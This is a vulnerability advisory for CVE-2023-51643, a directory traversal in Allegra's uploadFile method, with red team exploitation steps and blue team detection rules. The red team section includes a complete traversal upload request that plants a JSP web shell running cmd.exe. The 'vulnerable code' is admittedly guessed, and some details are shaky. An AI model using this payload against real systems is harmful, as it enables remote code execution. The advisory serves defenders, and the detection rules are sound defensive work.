CVE-2023-51643

Executive Summary

CVE-2023-51643 is a critical directory traversal vulnerability in Allegra’s uploadFile method, allowing authenticated remote attackers to execute arbitrary code. The flaw stems from improper validation of user-supplied paths, enabling file operations outside intended directories. Authentication bypass is possible, escalating the risk. With a CVSS score of 7.2, this vulnerability poses a high threat to confidentiality, integrity, and availability. No public proof-of-concept or patch is currently available, but the vulnerability is weaponizable via directory traversal to achieve remote code execution as LOCAL SERVICE.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the Allegra application directly, which is a proprietary software solution. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authentication required but bypassable)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is high due to the potential for full system compromise with low attack complexity and no user interaction.

Deep Dive & Mechanics

The vulnerability exists in the uploadFile method of Allegra. The application fails to properly sanitize user-supplied file paths, allowing an attacker to traverse directories using sequences like ../. This enables writing files to arbitrary locations on the server, such as web-accessible directories or system paths. By uploading a malicious file (e.g., a JSP or ASPX shell), an attacker can achieve remote code execution in the context of the LOCAL SERVICE account, which has elevated privileges on Windows systems.

The authentication bypass mechanism is not fully detailed but suggests that the attacker can exploit the vulnerability without valid credentials, possibly through session manipulation or default credentials.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code likely resembles:

public void uploadFile(String fileName, byte[] fileData) {
    String path = "/uploads/" + fileName; // No validation
    FileOutputStream fos = new FileOutputStream(path);
    fos.write(fileData);
    fos.close();
}

A patched version would validate the path:

public void uploadFile(String fileName, byte[] fileData) {
    String sanitized = new File(fileName).getName(); // Remove path components
    String path = "/uploads/" + sanitized;
    FileOutputStream fos = new FileOutputStream(path);
    fos.write(fileData);
    fos.close();
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Allegra instance (e.g., http://target.com:8080)
• Attacker: Kali Linux with Burp Suite

Exploitation Steps:

1. Authenticate (or bypass authentication) to obtain a session cookie.
2. Craft a malicious file upload request using directory traversal:

   POST /uploadFile HTTP/1.1
   Host: target.com
   Cookie: session=valid_session
   Content-Type: multipart/form-data
   
   --boundary
   Content-Disposition: form-data; name="file"; filename="../../../inetpub/wwwroot/shell.jsp"
   Content-Type: application/octet-stream
   
   <%@ page import="java.io.*" %>
   <%
   Process p = Runtime.getRuntime().exec("cmd.exe /c whoami");
   BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = reader.readLine()) != null) {
       out.println(line);
   }
   %>
   --boundary--
   

3. Access the uploaded shell: http://target.com/shell.jsp
4. Execute commands as LOCAL SERVICE.

Blue Team

Detection:

• Monitor for file upload requests with path traversal patterns (e.g., ../, ..\\).
• Alert on unusual file extensions (e.g., .jsp, .aspx, .php) in upload directories.
• Correlate authentication logs for failed login attempts followed by successful uploads.

Hunting:

• Search for files created in non-standard directories (e.g., C:\inetpub\wwwroot\).
• Review web server logs for POST requests to /uploadFile with suspicious filenames.

Indicators of Compromise (IOCs)

• File Paths: ../../../inetpub/wwwroot/*.jsp, ../../../ProgramData/*.exe
• Network: POST requests to /uploadFile with multipart data containing path traversal sequences.
• Process: cmd.exe or powershell.exe spawned by the LOCAL SERVICE account.
• Registry: Unauthorized modifications to HKLM\SYSTEM\CurrentControlSet\Services (if used for persistence).

Detection Engineering

YARA Rule

rule CVE_2023_51643_Allegra_UploadTraversal {
    meta:
        description = "Detects directory traversal attempts in Allegra uploadFile method"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51643"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $upload_endpoint = "/uploadFile" ascii wide nocase
    condition:
        $upload_endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2023-51643 Allegra Directory Traversal Upload
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects directory traversal in Allegra uploadFile requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploadFile'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51643 Allegra Directory Traversal Upload"; flow:to_server,established; content:"POST"; http_method; content:"/uploadFile"; http_uri; content:"../"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict network access to Allegra instances; implement web application firewall (WAF) rules to block path traversal patterns.
• Short-term: Apply input validation on the uploadFile method to sanitize filenames (e.g., using File.getName()).
• Long-term: Upgrade to a patched version once available; conduct a security audit of the application.
• Compensating Controls: Run Allegra with least privilege; monitor file system changes in real-time.

Valters IT
DevSecOps & Cyber Threat Intelligence